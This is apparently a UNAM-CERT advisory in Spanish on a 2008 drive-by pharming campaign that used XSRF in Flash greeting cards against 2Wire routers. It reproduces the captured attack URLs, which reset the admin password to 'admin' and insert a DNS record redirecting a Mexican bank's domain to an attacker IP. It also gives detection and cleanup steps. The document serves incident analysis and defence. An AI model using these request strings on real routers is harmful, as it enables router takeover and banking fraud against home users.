Vulnerabilidad de autenticación en ruteadores 2Wire

07/12/2008

Antecedentes

Durante el año 2008, la SSI/UNAM-CERT (antes DSC/UNAM-CERT) detectó la aparición de ataques web tipo pharming, enfocados a engañar a usuarios de banca en línea para redirigirlos a falsos sitios bancarios.

Las técnicas utilizadas en estos ataques fueron Cross-site request forgery (XSRF) y Drive-by-pharming.

Cross-site request forgery (XSRF). Se trata de una técnica intrusiva conocida también como “one click attack” o “session riding”. El ataque se basa en la inclusión de un script malicioso en alguna página web o correo; la víctima, con el simple hecho de navegar por la página con el código insertado, estaría realizando sin su conocimiento, actividades escondidas previamente establecidas por el atacante (por ejemplo, modificar una configuración de un router a través de la interfase web).

Drive-by-pharming. Esta técnica consiste en la modificación de los registros para resolución de nombres (DNS) y busca redirigir las peticiones de conexión de un usuario hacia un sistema comprometido por un atacante. Una modalidad consiste en modificar el archivo “hosts” de los equipos de las víctimas, pero una variante más difícil de detectar consiste en alterar los registros de resolución de nombres de los ruteadores caseros de banda ancha (DSL). Este ataque, realizado usualmente con tecnologías como javascript y flash, intenta identificar la marca y dirección del ruteador casero para poder comprometerlo exitosamente.

Por esas fechas se comenzaron a detectar en Méxco, vectores de infección que utilizaban las dos técnicas, es decir, insertaban código FLASH en páginas web que al ser navegadas por la víctima embebían los registros de DNS en el ruteador casero para redirigir al usuario hacia un sitio falso de banca electrónica.

Si bien, los ataques de “drive by pharming” fueron documentados desde diciembre de 2006, fue hasta 2008 que los defraudadores los explotaron activamente en México.

Las vulnerabilidades en los equipos 2Wire fueron publicadas en agosto de 2007, sin embargo durante 2008 no existió una actualización de firmware que mitigara el problema.

Aunque las alertas de seguridad establecían como requisito una sesión activa de administrador o la configuración por default de equipos ruteadores de diversas marcas, se detectaron que ciertos modelos de la marca 2Wire eran vulnerables y no requerían una configuración por default, ya que la contraseña de administrador podía ser sobrescrita por medio de XSRF.

Análisis del ataque

El entonces DSC/UNAM-CERT obtuvo un correo que se presentaba como una carta electrónica de felicitación de un popular sitio mexicano. El router probado fue un 2Wire 2701.

Al hacer clic en la liga, el usuario era redireccionado hacia un sitio web donde se abría un código FLASH que lleva a cabo el ataque XSRF.

Del archivo index.swf se obtuvieron las siguientes cadenas:

http://home/xslt?PAGE=H04_POST&THISPAGE=H04&NEXTPAGE=J38&PASSWORD=admin&PASSWORD_CONF=admin&HINT=
http://gateway.2wire.net/xslt?PAGE=H04_POST&THISPAGE=H04&NEXTPAGE=J38&PASSWORD=admin&PASSWORD_CONF=admin&HINT=
http://192.168.1.254/xslt?PAGE=H04_POST&THISPAGE=H04&NEXTPAGE=J38&PASSWORD=admin&PASSWORD_CONF=admin&HINT=
http://192.168.0.1/xslt?PAGE=H04_POST&THISPAGE=H04&NEXTPAGE=J38&PASSWORD=admin&PASSWORD_CONF=admin&HINT=
http://172.16.0.1/xslt?PAGE=H04_POST&THISPAGE=H04&NEXTPAGE=J38&PASSWORD=admin&PASSWORD_CONF=admin&HINT=

Aquí se pudieron identificar los diversos intentos de llegar al ruteador para reestablecer la contraseña a "admin". En el caso de nuestro equipo, la URL que tuvo éxito fue la correspondiente a la IP 192.168.1.254.

Cabe señalar que el router contaba con una contraseña del sistema, establecida previamente, después de esta etapa del ataque la contraseña fue sobrescrita.

La página desde donde se sobrescribía la contraseña correspondía al wizard de configuración, por lo que al parecer el sistema no pedía autenticación si se pasaba como parámetro la nueva contraseña.

La URL del wizard de configuración:

  • xslt?PAGE=H04_POST&THISPAGE=H04&NEXTPAGE=J38

Las variables de contraseña, confirmación y hint:

  • &PASSWORD=admin&PASSWORD_CONF=admin&HINT=

A continuación, la misma página esperaba 5 segundos para enviar la segunda parte del ataque, esto lo realizaba a través del siguiente META:

Los 5 segundos de espera tenían la finalidad de terminar con la primera parte del ataque en la que se reestablecía la contraseña. Después de ese periodo, se abría la página postal.html que incluía código para mostrar una animación auténtica y a la vez abrir otra animación FLASH:

src="banner.swf"
bgcolor="#FFFFFF"
quality="high"
allowscriptaccess="samedomain"
>
src="http://i.gusanito.com/g/gusanito/cards/4011/card.swf" quality="high"
pluginspage="http://www.macromedia.com/shockwave/download/"
type="application/x-shockwave-flash" width="550"
height="300">

El archivo banner.swf fue el encargado de realizar la segunda parte del ataque y contenía las siguientes cadenas:

http://home/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.banamex.com&ADDR=65.111.185.95
http://gateway.2wire.net/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.banamex.com&ADDR=65.111.185.95
http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.banamex.com&ADDR=65.111.185.95

En esta etapa, se intentaron agregar registros de resolución de nombres (DNS) a cada posible dirección donde se encontraba potencialmente el router (home, gateway.2wire.net, 192.168.1.254, 192.168.0.1, etc.), por lo que era posible que en una siguiente versión se llegara a automatizar este comportamiento.

Finalmente, se pudo verificar que en el router comprometido, se agregaron registros sin conocimiento del usuario:

Es importante destacar que todo el proceso era muy transparente para la víctima, ya que no se mostraba actividad intrusiva evidente en el navegador y el antivirus no reportó anomalía alguna dado que no se descargó ningún binario.

Vectores de infección

  • Animaciones FLASH (tarjetas de felicitación, presentaciones, etc.)
  • Javascript (páginas web con scripts)
  • HTML plano (blogger, websites estáticos, etc.)

Prueba de concepto

Se creó un blog en el servicio blogger, insertándose en esta página el exploit en HTML plano. La contraseña fue sobrescrita a “admin”.

http://2wire-poc.blogspot.com

Solución

No se reportó una solución definitiva al momento. Una actualización de firmware resolvería la vulnerabilidad. El proveedor fue notificado del problema.

Para identificar si el ruteador había sido comprometido, desde el navegador se podía verificar la tabla de resolución de nombres del 2Wire:

http://192.168.1.254/xslt?PAGE=H04_POST&THISPAGE=H04&NEXTPAGE=J38
http://192.168.0.1/xslt?PAGE=H04_POST&THISPAGE=H04&NEXTPAGE=J38
http://home/xslt?PAGE=H04_POST&THISPAGE=H04&NEXTPAGE=J38
http://gateway.2wire.net/xslt?PAGE=H04_POST&THISPAGE=H04&NEXTPAGE=J38
http://172.16.0.1/xslt?PAGE=H04_POST&THISPAGE=H04&NEXTPAGE=J38

Si el navegador mostraba una pantalla con un listado de direcciones IP asociadas a dominios diversos (especialmente de banca electrónica) el ruteador muy probablemente había sido comprometido

Para solucionar temporalmente el problema se debían eliminar manualmente los registros ingresados con el botón de “remove”

Referencias

http://www.symantec.com/avcenter/reference/Driveby_Pharming.pdf
http://xforce.iss.net/xforce/xfdb/36044
http://secunia.com/advisories/26496
http://www.securityfocus.com/archive/1/archive/1/476595/100/0/threaded
http://blog.hispasec.com/laboratorio/255

Liberación original: Domingo, 07 Diciembre 2008
Última revisión: Martes, 23 Agosto 2011

La Coordinación de Seguridad de la Información/UNAM-CERT agradece el apoyo en la elaboración y revisión de este documento a:

Eduardo Espina García

Para mayor información acerca de este documento contactar a:

UNAM-CERT: Equipo de Respuesta a Incidentes UNAM 
Coordinación de Seguridad de la Información 
Dirección General de Cómputo y Tecnologías de Información y Comunicación 
Universidad Nacional Autónoma de México 
E-Mail: incidentes@cert.unam.mx 
http://www.cert.org.mx
http://www.seguridad.unam.mx
ftp://ftp.seguridad.unam.mx
Tel: 56 22 81 69